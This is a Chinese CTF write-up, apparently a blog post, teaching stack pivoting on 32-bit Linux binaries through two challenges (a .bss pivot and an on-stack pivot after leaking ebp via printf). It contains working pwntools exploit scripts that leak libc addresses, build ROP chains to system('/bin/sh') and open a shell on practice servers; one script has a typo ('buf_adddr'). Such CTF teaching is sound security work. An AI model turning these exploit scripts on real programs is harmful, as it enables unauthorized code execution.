两题看栈迁移

12 篇文章 1 订阅

栈迁移

栈迁移的题目一般有一个特点,就是可以产生栈溢出,但是溢出的长度太短导致无法写完整的payload,而实质就是只能控制ebp的情况下去控制住eip从而控制程序的执行流
以 32 位程序举例,在使用 call 这个命令,进入一个函数的时候,程序会进行一系列栈操作:

push eip+4; push ebp; mov ebp,esp; 

来保护现场,避免执行完函数后堆栈不平衡以及找不到之前的入口地址。

执行完函数后会进行一系列操作来还原现场 leave;ret;
这边的 leave 就相当于进入函数栈操作的逆过程。

leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

我们可以发现 esp 决定的是栈顶在哪,如果说我们控制了传入的 ebp 就相当于控制了 esp,pop 出来的 ebp 也就可以是我们指定的,同样 eip 也是。从而就可以达到控制 eip 的目的。
但是想要控制 ebp 需要进行两次 leave 和一次 ret 也就是

mov esp,ebp;    //第一个ebp不受我们的控制,但是下面pop的ebp可以被我们更改,从而就可以控制第二个leave里面的esp
pop ebp;
mov esp,ebp;
pop ebp;
pop eip

[Black Watch 入群题]PWN

这是一道将栈迁移到bss段的题目
32位的程序,只开启了堆栈不可执行保护
在这里插入图片描述
用IDA分析一下程序,main函数直接进入到vul_function函数
write函数是用来输出程序字符串的,两个read函数接收用户输入,第一个read向s缓冲区接收0x200字节大小的内容,第二个read在buf缓冲区接收0x20字节大小的内容
在这里插入图片描述
第二个read只向栈上写入0x20个字节,但是buf缓冲区距离ebp只有0x18字节大小,也就是说存在栈溢出,但是只能控制8个字节,溢出的长度太短,并不能构造完整的payload达到getshell的目的
那来看一下第一个read函数,第一个read函数虽然可以向内存写入0x200个字节大小的内容,但是写入的位置并不在栈中,而是在可写的bss段中
通过栈迁移的方式就可以达到利用的目的,大体的思路就是,将leave、return的gadget放入到ebp后的返回地址的位置上,ebp放入栈段迁移的位置的地址,那么程序流就会执行到迁移的位置上,那么就可以执行完整的payload了
注意的是,因为我们使用了两次 levae 所以第二次 leave 里面的 pop ebp 属于多余的会让 esp-4,所以对应的我们的 s 的地址也需要减 4
exp:

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',28463)
#r=process('./spwn')
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
bss_addr=0x0804A300
leave_ret=0x08048511

payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.recvuntil("What is your name?")
r.send(payload)

payload1='a'*0x18+p32(bss_addr-4)+p32(leave_ret)
r.recvuntil("What do you want to say?")
r.send(payload1)

write_addr=u32(r.recv(4))
print('[+]write_addr: ',hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil("What is your name?")
payload=p32(system_addr)+p32(main_addr)+p32(bin_addr)
r.send(payload)

r.recvuntil("What do you want to say?")
r.send(payload1)

r.interactive()

ciscn_2019_es_2

先查看一下程序的保护,32位的程序,开启了堆栈不可执行保护
在这里插入图片描述用IDA分析程序,主要利用点在vul函数,第一个read函数读取s缓冲区里0x30字节的内容,然后printf对s缓冲区的内容进行格式化输出,第二个read函数又在s缓冲区中读取了0x30字节的内容,然后又格式化输出一次
在这里插入图片描述
分析一下,这里的确存在栈溢出,但是只能溢出8个字节(0x30-0x28),无法让我们构造完整的rop chain来get shell,那么这里我们又需要想到利用栈迁移
但是这题与上题不同,上题是将栈迁移到可读写的bss区,但是这题却无法向bss区写入,那这里只能利用到栈段上面的空间,思路就是在栈上前面0x28个字节放入rop链,后面0x8个字节就用来实现栈迁移,栈结构可以参考下图
在这里插入图片描述
那么首先就要知道一个问题,缓冲区的地址是什么,所以首先需要leak缓冲区地址
这里第一个read和printf就派上用场了,因为read结束之后不会在末尾加上’\x00’,而printf不遇到’\x00’就不会停止打印,所以可以利用这个特点来leak栈上的地址,由于泄露了ebp,而这个地址和buf区域的相对偏移是固定的,所以程序每次运行我们都可以知道栈上的地址
通过调试来获得这个相对偏移
在这里插入图片描述
ebp上泄露的地址减去buf指向的地址,得到相对偏移为0x38,因此通过下面这个脚本可以获取到ebp和buf的地址

p.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
p.send(payload)
p.recvuntil("bbbbbbbb")
ebp=u32(p.recv(4))
print ('ebp--->'+hex(ebp))
buf_addr = ebp-0x38
print ('buf--->'+hex(buf_addr))

那接下来的问题就是构造rop链和栈迁移,栈迁移只需要找到程序中leave;retn的gadgets
我们这里直接把b’/bin/sh\x00’放在buf上,通过泄露出来的地址加偏移肯定能够找出放b’/bin/sh\x00’的起始地址,这样就省去了一个read往栈上写b’/bin/sh\x00’的过程,很巧妙的方法。至于这个起始地址怎么找,借鉴一下大佬这张图,一看就懂了
在这里插入图片描述下面连个exp差不多

from pwn import *

io = process("./ciscn_2019_es_2")
elf = ELF('./ciscn_2019_es_2')
sys_plt = elf.plt['system']
lea_ret = 0x80485FD

io.recvuntil("Welcome, my friend. What's your name?")
payload = b'A' * 0x24 + b'BBBB'
io.send(payload)
io.recvuntil("BBBB")
ebp = u32(io.recv(4))

payload2 = b'laji' + p32(sys_plt) + b'AAAA'+p32(ebp -0x28) + b'/bin/sh\x00' + b'A'*16 + p32(ebp - 0x38) + p32(lea_ret)

io.send(payload2)
io.interactive()
#coding=utf-8
#!/usr/bin/python
from pwn import *

p=remote("node3.buuoj.cn",27499)
#p=process("ciscn_2019_es_2")
context(arch='i386',os='linux',log_level='debug')

sys=0x8048400
leave_ret=0x08048562
gdb.attach(p,'b *0x80485FC')

p.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
p.send(payload)
p.recvuntil("bbbbbbbb")
ebp=u32(p.recv(4))
print ('ebp--->'+hex(ebp))
buf_addr = ebp-0x38
print ('buf--->'+hex(buf_addr))

payload1 =p32(sys) +p32(0) +p32(buf_adddr+0x4*3)+"/bin/sh" #buf_adddr+0x4*3指向了参数的位置
payload1 =payload1.ljust(0x28,'\x00')
payload1 += p32(buf_addr-4) +p32(leave_ret)
p.send(payload1)
p.interactive()

下图是脚本执行后栈的情况
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值